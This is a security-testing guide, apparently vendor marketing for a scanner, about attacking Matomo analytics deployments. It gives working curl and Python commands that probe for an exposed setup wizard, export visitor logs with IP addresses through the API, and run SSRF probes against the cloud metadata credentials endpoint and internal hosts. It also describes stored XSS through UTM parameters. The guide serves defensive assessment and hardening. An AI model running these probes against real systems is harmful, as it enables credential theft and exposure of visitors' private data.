Matomo Security Testing: Default Credentials, XSS via Tracking Parameters, Admin API, and Data Exfiltration

Matomo (formerly Piwik) is the most widely deployed self-hosted web analytics platform, used by organizations that want to avoid sending visitor data to Google Analytics. Its security surface covers multiple attack vectors: Matomo requires an administrative setup on first launch — if the setup wizard at /index.php?action=welcome is accessible before setup completes, an attacker can register an admin account and gain full platform control; Matomo's tracking endpoint at matomo.php accepts a url parameter that is followed by the PHP server for page title detection — this SSRF vector can reach internal services when Matomo is deployed inside a corporate network; tracking parameters including UTM campaign values, custom dimension values, and the _ref referrer parameter are stored in the Matomo database and rendered in the admin interface — stored XSS is possible when these values are not properly sanitized; Matomo's REST API uses a token_auth parameter passed in the URL query string, which causes the API token to appear in server access logs, referrer logs, and browser history; and Matomo installations collect and store visitor IP addresses, session data, and browsing behavior — unauthorized access to the Matomo database or API constitutes a significant privacy and GDPR compliance incident. This guide covers systematic Matomo security assessment.

Table of Contents

  1. Matomo Discovery and Setup Status
  2. Admin API token_auth Exposure
  3. Tracking Pixel SSRF via url Parameter
  4. Stored XSS via Tracking Parameters
  5. Matomo Security Hardening

Matomo Discovery and Setup Status

# Check if Matomo setup is incomplete (admin account not yet created)
# The welcome/setup wizard is accessible before the first admin is configured
curl -s -o /dev/null -w "%{http_code}" \
  "https://analytics.example.com/index.php?action=welcome" 2>/dev/null
# 200 = setup available; could mean no admin configured yet

# Check Matomo version from the login page source
curl -s "https://analytics.example.com/" 2>/dev/null | \
  grep -oE 'Matomo [0-9]+\.[0-9]+\.[0-9]+' | head -3

# Check Matomo's public API for unauthenticated data (some methods don't require auth)
# SitesManager.getSitesWithAtLeastViewAccess may work without auth
curl -s "https://analytics.example.com/index.php?module=API&method=SitesManager.getAllSites&format=JSON" \
  2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
    print(f'Sites accessible without auth: {len(d)}')
    for s in d[:5]: print(f\"  {s.get('idsite')}: {s.get('name')} ({s.get('main_url')})\")
elif 'result' in d and d['result'] == 'error':
    print(f'Auth required: {d.get(\"message\",\"?\")}')
else:
    print(f'Response: {str(d)[:100]}')
" 2>/dev/null

Admin API token_auth Exposure

# Matomo API authentication uses token_auth in URL query string
# This causes the token to appear in: web server access logs,
# referrer headers when API calls link to external resources,
# browser history, and network monitoring tools

# Demonstrate token exposure risk:
# API calls of the form:
# /index.php?module=API&method=...&token_auth=YOUR_TOKEN_HERE
# ... appear in logs as:
# 192.168.1.1 - - [03/Jul/2026] "GET /index.php?module=API&method=VisitsSummary.getVisits&token_auth=abc123secret&idSite=1&period=day&date=today HTTP/1.1"

# Test admin API brute force (common Matomo admin tokens are MD5 hashes)
# In Matomo, admin tokens are 32-char hex strings (MD5 format)
# Check API documentation for user token location:
# Admin -> Personal -> Security -> Auth tokens

# With a known token, enumerate all sites and their data:
TOKEN="your_token_here"
MATOMO_URL="https://analytics.example.com"

curl -s "${MATOMO_URL}/index.php?module=API&method=SitesManager.getAllSites&format=JSON&token_auth=${TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
    print(f'Sites with this token ({len(d)} total):')
    for s in d: print(f\"  ID {s['idsite']}: {s['name']} — {s['main_url']}\")
" 2>/dev/null

# Export full visitor log (privacy-sensitive: IPs, pages visited, referrers)
curl -s "${MATOMO_URL}/index.php?module=API&method=Live.getLastVisitsDetails&idSite=1&count=10&format=JSON&token_auth=${TOKEN}" \
  2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
if isinstance(d, list):
    print(f'Visitor records: {len(d)}')
    for v in d[:3]:
        print(f\"  IP: {v.get('visitIp','?')} country={v.get('country','?')} pages={v.get('actions','?')}\")
" 2>/dev/null

Tracking Pixel SSRF via url Parameter

# Matomo's tracking endpoint fetches the tracked URL for page title resolution
# when JavaScript tracking is unavailable or when using the Image Tracker
# The server-side fetch of the url= parameter enables SSRF

# Standard Matomo image tracker call:
# 

# SSRF test — point url= at internal infrastructure:
MATOMO_URL="https://analytics.example.com"
SITE_ID=1

# Test SSRF to cloud metadata service
curl -v "${MATOMO_URL}/matomo.php?idsite=${SITE_ID}&rec=1&send_image=0&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  2>&1 | grep -E "(< HTTP|Location:|> GET)" | head -5

# Test SSRF to internal services
for TARGET in "http://192.168.1.1/" "http://10.0.0.1/" "http://localhost:8080/" \
              "http://localhost:3306/" "http://internal-api:8000/admin"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    "${MATOMO_URL}/matomo.php?idsite=${SITE_ID}&rec=1&send_image=0&url=${TARGET}" \
    2>/dev/null)
  echo "SSRF probe ${TARGET}: HTTP ${CODE}"
done

Matomo Security Hardening

Matomo Security Hardening Checklist:
Security TestMethodRisk
Setup wizard accessible before admin account creationGET /index.php?action=welcome — attacker creates admin account on incomplete Matomo installationCritical
token_auth API credential in URL query stringServer access logs contain full API URLs with token_auth parameter — credential exposure in logsHigh
SSRF via tracking pixel url parametermatomo.php?url=http://169.254.169.254/ — server fetches attacker-controlled URL for page title resolutionHigh
Stored XSS via UTM tracking parametersSend crafted tracking request with JavaScript in utm_campaign — renders in Matomo admin reports without sanitizationHigh
Visitor data exfiltration via APIGET /index.php?module=API&method=Live.getLastVisitsDetails — exports full visitor log with IPs and browsing behaviorHigh
Unauthenticated API methods returning site dataGET /index.php?module=API&method=SitesManager.getAllSites — some Matomo API methods allow anonymous accessMedium

Automate Matomo Security Testing

Ironimo tests Matomo deployments for incomplete setup wizard accessible without authentication, API token_auth exposure in server access logs via URL-based authentication, SSRF via the tracking pixel url parameter fetched server-side for page title resolution, stored XSS via UTM campaign parameters and custom dimension values rendered in admin reports, visitor data exfiltration via the Live API returning IP addresses and browsing history, and unauthenticated API methods exposing tracked site metadata.

Start free scan